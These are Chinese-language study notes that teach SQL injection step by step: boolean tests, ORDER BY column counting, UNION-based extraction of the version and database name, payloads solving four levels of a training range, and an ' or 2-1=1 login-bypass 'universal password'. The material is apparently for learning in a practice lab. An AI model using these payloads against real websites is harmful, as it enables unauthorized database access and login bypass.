目录
SQL注入
什么是SQL注入 : 用户输入的内容被浏览器当做数据库语句进行执行。
关键点:我们一定要输入[数据库语句] 。
我们输入【数据库语句】,如果这个[网站执行了],就说明这个网站,存在数据库注入漏洞。
数据库语句
select 列名 from 表名 where 条件
select 查询
from 来自
where 当···条件成立的时候
流程
第一步:判断网站是否存在漏洞
and 1=1 --> 条件成立,网页有内容
and 1=2 --> 条件不成立,网页没有内容
==> 网站存在SQL注入漏洞。
第二步:判断字段(列)数 ,order by ,排序。
字段 = 列 。
order by 1 --> 网页有内容,说明表里面有1列
order by 2 --> 网页有内容,说明表里面有2列
order by 3 --> 网页有内容,说明表里面有3列
order by 4 --> 网页没有内容,说明表里面没有4列
---> 只有3列。
Ps:判断一个网站是否存在数据库注入漏洞,也可以使用order by 判断。
第三步:判断回显点。 union ,能够同时执行两条数据库语句。
关键点:必须保证列数一致。
回显点:能够将我们输入的数据库语句执行,并且将结果显示在网页上。
and 1=2 union select 1,222222,333333
第四步:查数据
version() # 函数,作用:查询版本号的
database() # 函数,作用:查库名的。
and 1=2 union select 1,version(),database()
靶场演示(掌控安全学院SQL注入靶场)
第一关:select * from user where id=1
输入 and 1=1
网页有内容
输入 and 1=2
网页没有内容
输入 order by 1
网页有内容
输入 order by 1
网页有内容
输入 order by 3
网页有内容
输入 order by 4
网页没有内容
输入 and 1=2 union select 1,2,3
输入and 1=2 union select 1,222222,333333
输入and 1=2 union select 1,version(),database()
第二关:select * from user where id='1'
输入and 1=1: select * from user where id='1 and 1=1'
输入and 1=2: select * from user where id='1 and 1=2'
输入' : select * from user where id='1''
输入' -- q : select *from user where id='1' -- q'
输入' and 1=1 -- q select *from user where id='1 ' and 1=1 -- q'
页面有内容
输入' and 1=2 -- q select *from user where id='1' and 1=2 -- q'
页面没内容
输入' order by 3 -- q
页面有内容
输入' order by 4 -- q
网页没有内容
第三关:select * from user where id= ('1')
输入') and 1=2 union select 1,2,3 -- q
第四关:select *from user where id=("1")
输入 ") #
# = %23
'') and 1=2 union select 1,2,3 -- q
万能密码漏洞
本质:sql注入漏洞引起的。
select *from user where username ='' and password=''
输入 ' or 2-1=1 -- qwe
select *from user where username ='' or 2-1=1 -- qwe' and password=''
and 前后两条件,都成立,才算成立
1=1 and 2=2
or 前后两条件,只要有一个条件成立,那么就都成立。
1=1 or 1=2 (成立)
输入admin,123456
输入 ' or 2-1=1 -- qwe
万能密码字典